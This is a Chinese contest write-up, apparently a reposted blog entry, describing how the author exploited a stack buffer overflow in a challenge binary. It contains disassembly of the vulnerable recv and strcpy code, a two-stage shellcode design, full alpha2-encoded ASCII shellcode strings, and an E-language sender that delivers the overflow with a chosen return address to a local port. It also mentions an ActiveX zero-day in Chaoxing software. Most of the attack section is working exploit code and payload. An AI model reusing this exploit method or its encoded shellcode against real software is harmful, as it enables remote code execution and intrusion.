欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

exploit me提要

exploit me提要

一开始没打算参赛,晚上无聊搞了搞,发觉还是很简单的。
 
其实我做的很不好,懒得写文档,但至少可以跨平台的。
 
A题:
 
用E语言发了一个大包给本地,直接崩了,从recv入手,很容易得到
 

代码:
00401000  /$  81EC C8000000 sub     esp, 0C8

00401006  |.  83C9 FF       or      ecx, FFFFFFFF

00401009  |.  33C0          xor     eax, eax

0040100B  |.  8D5424 00     lea     edx, dword ptr [esp]

0040100F  |.  56            push    esi

00401010  |.  57            push    edi

00401011  |.  8BBC24 D40000>mov     edi, dword ptr [esp+D4]

00401018  |.  68 4C904000   push    exploit_.0040904C                ;  ASCII "********************"

0040101D  |.  F2:AE         repne   scasb                            ;  \这里是个strcpyA

0040101F  |.  F7D1          not     ecx

00401021  |.  2BF9          sub     edi, ecx

00401023  |.  8BC1          mov     eax, ecx

00401025  |.  8BF7          mov     esi, edi

00401027  |.  8BFA          mov     edi, edx

00401029  |.  C1E9 02       shr     ecx, 2

0040102C  |.  F3:A5         rep     movsd

0040102E  |.  8BC8          mov     ecx, eax

00401030  |.  83E1 03       and     ecx, 3

00401033  |.  F3:A4         rep     movsb                            ;  /

 
这里面就一个堆栈变量,长度0xC8 = 200,所以用200字节覆盖,最后用4字节地址来执行。
 
ctrl+R回到调用处,可以看到传进来的参数恰好是buffer,
 
代码:
0040120B  |.  50            |push    eax                             ; /Flags => 0

0040120C  |.  F3:AB         |rep     stosd                           ; |

0040120E  |.  8D4C24 38     |lea     ecx, dword ptr [esp+38]         ; |

00401212  |.  68 00020000   |push    200                             ; |BufSize = 200 (512.)

00401217  |.  51            |push    ecx                             ; |Buffer

00401218  |.  53            |push    ebx                             ; |Socket

00401219  |.  FF15 D8804000 |call    dword ptr [<&WS2_32.#16>]       ; \recv

0040121F  |.  8BF0          |mov     esi, eax

00401221  |.  85F6          |test    esi, esi

00401223  |.  7D 26         |jge     short exploit_.0040124B

00401225  |.  68 74904000   |push    exploit_.00409074               ;  ASCII "reading stream message erro!"

0040122A  |.  B9 689A4000   |mov     ecx, exploit_.00409A68

0040122F  |.  E8 F3010000   |call    exploit_.00401427

00401234  |.  68 D0124000   |push    exploit_.004012D0

00401239  |.  6A 0A         |push    0A                              ; /Arg1 = 0000000A

0040123B  |.  8BC8          |mov     ecx, eax                        ; |

0040123D  |.  E8 9E000000   |call    exploit_.004012E0               ; \exploit_.004012E0

00401242  |.  8BC8          |mov     ecx, eax

00401244  |.  E8 67000000   |call    exploit_.004012B0

00401249  |.  33F6          |xor     esi, esi

0040124B  |>  8D5424 34     |lea     edx, dword ptr [esp+34]

 

 
这么明显的溢出,如果还不能跨平台,有点太没意思了。
 
 
要跨平台就得在程序内找一个地址,覆盖了返回之后跳到buffer中执行,
 
因此可以直接把返回地址改成一个retn指令的地址,就跳到buffer了。
 
不过现在的问题:
 
1、跨平台选的地址都是004xxxxx,strcpy会停止于00
2、就算strcpy不停止,recv只收200字节,所以后面不好控制
3、由于strcpy,shellcode前面有00出现会停止造成无法溢出
 
1、2算做一个问题,就是我们只能编码200字节shellcode
 
看第三个问题,可以用skyline的alpha2来编码,通过精心选择指令写出的loader,
 
可以只使用ascii字符,地址是http://www.edup.tudelft.nl/~bjwever/menu.html.php
 
在线版不太会用,下载了c代码,发现不是for win32的,
 
试验了几次,发现需要改动头文件,把srand的seed随便写一个值,不用那个time库,再把strcasecmp改成strcmp就可以用vc编译了,编译一个exe出来备用
 
输入方式好像很奇怪,最后发现需要用管道输入,服了,写了一个屁处理来使用
 
我用我的XLIB跨平台使用API,不过alpha2编码之后怎么也缩不到200字节,
 
现在得停下来思考,既然一个包200不成,那就再发第2个包,
 
于是我写了2份shellcode,第一个负责溢出,并且去recv第2个包,然后执行第2个包
 
这是第一个
代码:
   mov edi, esp

   mov ecx, 1024;alloc

   sub edi, ecx

 

   push 0

   push ecx

   push edi

   push ebx

   mov eax, 4080D8h

   call dword ptr [eax]; 这里是recv

   jmp edi

 

 
然后是第2个,
 
代码:
 

; fucker

;   initX XFL_ALL

;

;   push 1000

;   push 1000

;   callX Beep

;

 
XLIB是我写的一个库,可以用任何可以跨平台的shellcode的库代替,这里我就是简单的Bi~~~一下
 
然后就是那个屁处理了,
 
 
代码:
alpha2 [esp-4] <0.bin >0.txt

alpha2 edi <1.bin >1.txt

 
 
其实第2个包不需要alpha2编码,不过为了保持一致,也就搞一个吧
 
0.txt
代码:
 

LLLL7YIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJInkkLlyuP6dS0UPTkzYRJUP3aPW1CnX8XMP3p7pYovpKOM7gpA

 

 
 
1.txt
代码:
WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIXimQc0uP7pY8L9PZ0XPRol1pSZwDpZCTLK2bKLmUKp2Y38fcWdWrLMQPcLZKvglKSpTLLKPpeLNMnkQPeXM8S0wp7p30qOLSNkaSgLnkplVxt8S3xkfSKyLMfTNkgsPuWPLmNyyQJbdGTrUDtXg0tzwldXsEydLMt4q45L6K2644vuSq7KPMWhSL9NV7Qxtfk0NLXHm8MMKOioioibNNhkO3LKpU4d5SkcVoLwwd3zlKpE7leSYSWs5LNpMYuNPaomV0cCwqv88CU8xh7swpWprHyxgsEPeP3X8p0rByc8JHPkKOKOKOA

 
最后是一个易语言程序负责发包
 
代码:
 

.版本 2

.程序集 窗口程序集1

.子程序 _按钮1_被单击

.局部变量 t, 文本型

c.连接 (“127.0.0.1”, 7777)

t = “LLLL7YIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJInkkLlyuP6dS0UPTkzYRJUP3aPW1CnX8XMP3p7pYovpKOM7gpA”

t = t + 取空白文本 (200 - 取文本长度 (t))

c.发送数据 (到字节集 (t) + 到字节集 (4199334))

延时 (100)

c.发送数据 (“WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIXimQc0uP7pY8L9PZ0XPRol1pSZwDpZCTLK2bKLmUKp2Y38fcWdWrLMQPcLZKvglKSpTLLKPpeLNMnkQPeXM8S0wp7p30qOLSNkaSgLnkplVxt8S3xkfSKyLMfTNkgsPuWPLmNyyQJbdGTrUDtXg0tzwldXsEydLMt4q45L6K2644vuSq7KPMWhSL9NV7Qxtfk0NLXHm8MMKOioioibNNhkO3LKpU4d5SkcVoLwwd3zlKpE7leSYSWs5LNpMYuNPaomV0cCwqv88CU8xh7swpWprHyxgsEPeP3X8p0rByc8JHPkKOKOKOA”)

c.断开连接 ()

 

 
 
 
B题:
 
这个。。。很毒很真实。
 
按照那个doc教程获得CLSID,再baidu一下啊,发现是超星的0day
 
只要自己写shellcode,用utf16编码就可以了
 
不小心下载alpha2的时候看到skyline的网站上有个beta.c
 
发现就是用来干这个的,于是。。。提交。【揭露一下,第2个没耐心了,根本没测试,估计不行,哈哈】

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功